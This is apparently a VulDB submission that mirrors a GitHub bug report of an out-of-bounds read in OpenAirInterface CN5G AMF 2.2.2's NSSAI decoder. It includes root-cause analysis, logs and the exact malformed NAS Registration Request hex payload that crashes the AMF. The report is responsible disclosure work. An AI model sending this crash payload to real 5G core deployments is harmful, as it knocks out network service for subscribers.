| Titel | OpenAirInterface oai-cn5g-amf 2.2.2 Out-of-Bounds Read |
|---|
| Beschreibung | ## Bug Decription
When OAI CN5G AMF v2.2.2 receives a Registration Request containing a malformed Requested NSSAI item length, Nssai::Decode() does not reject the unsupported item length. The remaining-length counter can become negative, while while (length_tmp) continues. The loop then reads beyond the NAS buffer through the unchecked DECODE_U8 macro until AMF segfaults. A NAS Registration Request carried in an Initial UE Message over N2/SCTP triggers this out-of-bounds read and denial of service.
### Credit
Jinbo Xu, Fenghua Li, Zifu Li (State Key Laboratory of Cyberspace Security Defense; School of Cyber Security, University of Chinese Academy of Sciences; Institute of Information Engineering, Chinese Academy of Sciences, Beijing, China)
## To Reproduce
1. Run against an isolated OAI AMF test deployment.
2. Send the Registration Request message, whose NAS payload is: 7e004179000d0102f8590000000000000010101001002e04f0f0f0f02f056204de00007b530100.
3. Its Requested NSSAI IE is 2f 05 62 04 de 00 00. A control case replaces it with the valid IE 2f 02 01 01; AMF logs Decoded NSSAI, len (4) and remains running.
## Expected Behavior
AMF should reject the malformed NSSAI IE, return an appropriate NAS error or discard the Registration Request, and keep the process and N2 service available.
## Observed Behavior
The malformed-input log ends at Decoding NSSAI. The host kernel records a SIGSEGV in oai_amf at a byte-read instruction; Docker reports exited, exit code 139, and OOMKilled=false. The single-case PCAP contains 12 packets with zero drops. AMF remains running/healthy after the valid-NSSAI control case.
## Root Cause
src/common-src/nas/ies/Nssai.cpp:109-166 uses length_tmp as the loop condition but has no default error branch in the item-length switch. The malformed input first supplies unsupported length 0x62; the next length 0x04 case consumes the SST and three SD bytes, taking the remaining length below zero. A negative integer remains true in while (length_tmp). The next iteration increases decoded_size and calls DECODE_U8. The macro in src/common-src/common/common_defs.h:48-50 directly dereferences the pointer without checking the buffer boundary. The kernel's captured faulting instruction bytes are consistent with a byte read.
## Environment
- OAI CN5G AMF v2.2.2
- OS: Ubuntu 22.04 LTS
- Kernel version: 6.8.0-71-generic
## Trace Files
### Configuration Files
Default configuration.
### Log File
AMF Log:
[2026-11-01 07:44:44.175] [amf_n2] [debug] Encoded InitialUEMessage size 82
[2026-11-01 07:44:44.175] [common] [debug] [ngap]InitialUEMessage
00 0f 40 4e 00 00 04 00 55 00 03 40 23 f1 00 26 00 28 27 7e 00 41 79 00 0d 01 02 f8 59 00 00 00 00 00 00 00 10 10 10 01 00 2e 04 f0 f0 f0 f0 2f 05 62 04 de 00 00 7b 53 01 00 00 79 00 0f 40 02 f8 59 00 00 ab cd e0 02 f8 59 00 a0 00 00 5a 40 01 18
[2026-11-01 07:44:44.175] [ngap] [debug] Free NGAP Message PDU
[2026-11-01 07:44:44.175] [amf_app] [debug] Received NAS_SIG_ESTAB_REQ
[2026-11-01 07:44:44.175] [amf_n1] [info] Received UL_NAS_DATA_IND
[2026-11-01 07:44:44.175] [amf_n1] [debug] Serving network name 5G:mnc095.mcc208.3gppnetwork.org
[2026-11-01 07:44:44.175] [amf_n1] [warning] No UE/NAS context with amf_ue_ngap_id 1
[2026-11-01 07:44:44.175] [amf_n1] [warning] No existing nas_context with amf_ue_ngap_id 1
[2026-11-01 07:44:44.175] [common] [debug] [amf_n1]Received Uplink NAS Message
7e 00 41 79 00 0d 01 02 f8 59 00 00 00 00 00 00 00 10 10 10 01 00 2e 04 f0 f0 f0 f0 2f 05 62 04 de 00 00 7b 53 01 00
[2026-11-01 07:44:44.175] [amf_n1] [debug] Received plain NAS message
[2026-11-01 07:44:44.175] [common] [debug] [amf_n1]Decoded Plain Message
7e 00 41 79 00 0d 01 02 f8 59 00 00 00 00 00 00 00 10 10 10 01 00 2e 04 f0 f0 f0 f0 2f 05 62 04 de 00 00 7b 53 01 00
[2026-11-01 07:44:44.175] [amf_n1] [debug] Received NAS Signalling Establishment request...
[2026-11-01 07:44:44.175] [amf_n1] [debug] No existing nas_context with amf_ue_ngap_id 1 --> Create a new one
[2026-11-01 07:44:44.175] [amf_n1] [debug] NAS message type 0x41
[2026-11-01 07:44:44.175] [amf_n1] [debug] Received Registration Request message, handling...
[2026-11-01 07:44:44.175] [nas] [debug] Decoding RegistrationRequest message
[2026-11-01 07:44:44.175] [nas] [debug] Decoding NasMmPlainHeader
[2026-11-01 07:44:44.175] [nas] [debug] Decoded NasMmPlainHeader len (3 octets)
[2026-11-01 07:44:44.175] [nas] [debug] Decoding 5GSMobilityIdentity
[2026-11-01 07:44:44.175] [nas] [debug] Decoded 5GSMobilityIdentity IE length 13
[2026-11-01 07:44:44.175] [nas] [debug] Decoding 5GSMobilityIdentity SUCI
[2026-11-01 07:44:44.175] [nas] [debug] MCC 208, MNC 95
[2026-11-01 07:44:44.175] [nas] [debug] MCC 208, MNC 95
[2026-11-01 07:44:44.175] [nas] [debug] Decoded Routing Indicator 0000
[2026-11-01 07:44:44.175] [nas] [debug] Decoded Protection Scheme ID 0
[2026-11-01 07:44:44.175] [nas] [debug] Decoded Home Network Public Key Identifier 0
[2026-11-01 07:44:44.175] [nas] [debug] Decoding SUCI with Null Scheme, decoded MSIN 0000000101
[2026-11-01 07:44:44.175] [nas] [debug] Decoded 5GSMobilityIdentity SUCI SUPI format IMSI (len 13)
[2026-11-01 07:44:44.175] [nas] [debug] Decoded SUCI (15 octets)
[2026-11-01 07:44:44.175] [nas] [debug] Decoded 5GS Mobile Identity, len (15)
[2026-11-01 07:44:44.175] [nas] [debug] First option IEI 0x10
[2026-11-01 07:44:44.175] [nas] [debug] IEI 0x10
[2026-11-01 07:44:44.175] [nas] [debug] Decoding IEI 0x10
[2026-11-01 07:44:44.175] [nas] [debug] Decoding 5GMM Capability
[2026-11-01 07:44:44.175] [nas] [debug] Decoded 5GMM Capability, Octet3 value (0x0)
[2026-11-01 07:44:44.175] [nas] [debug] Decoded 5GMM Capability, len (3)
[2026-11-01 07:44:44.175] [nas] [debug] Next IEI 0x2e
[2026-11-01 07:44:44.175] [nas] [debug] IEI 0x2e
[2026-11-01 07:44:44.175] [nas] [debug] Decoding IEI 0x2e
[2026-11-01 07:44:44.175] [nas] [debug] Decoding UE Security Capability
[2026-11-01 07:44:44.175] [nas] [debug] Decoded UE Security Capability, len (6)
[2026-11-01 07:44:44.175] [nas] [debug] 5G EA 0xf0, 5G IA 0xf0
[2026-11-01 07:44:44.175] [nas] [debug] EEA 0xf0
[2026-11-01 07:44:44.175] [nas] [debug] EIA 0xf0
[2026-11-01 07:44:44.175] [nas] [debug] Next IEI 0x2f
[2026-11-01 07:44:44.175] [nas] [debug] IEI 0x2f
[2026-11-01 07:44:44.175] [nas] [debug] Decoding IEI 47
[2026-11-01 07:44:44.175] [nas] [debug] Decoding NSSAI
Kernel Record:
Nov 01 06:44:44 VM212 kernel: oai_amf[118920]: segfault at 75b24802a000 ip 00005a1302d97aed sp 000075b263e5ad60 error 4 in oai_amf[5a13017ce000+1778000] likely on CPU 6 (core 6, socket 0) |
|---|
| Quelle | ⚠️ https://github.com/openairinterface/oai-cn5g-amf/issues/55 |
|---|
| Benutzer | JinboXu (UID 100788) |
|---|
| Einreichung | 10.11.2026 02:47 (vor 24 Tagen) |
|---|
| Moderieren | 04.12.2026 09:26 (24 days later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 449624 [OpenAirInterface oai-cn5g-amf 2.2.2 NAS Nssai.cpp Nssai::Decode Information Disclosure] |
|---|
| Punkte | 20 |
|---|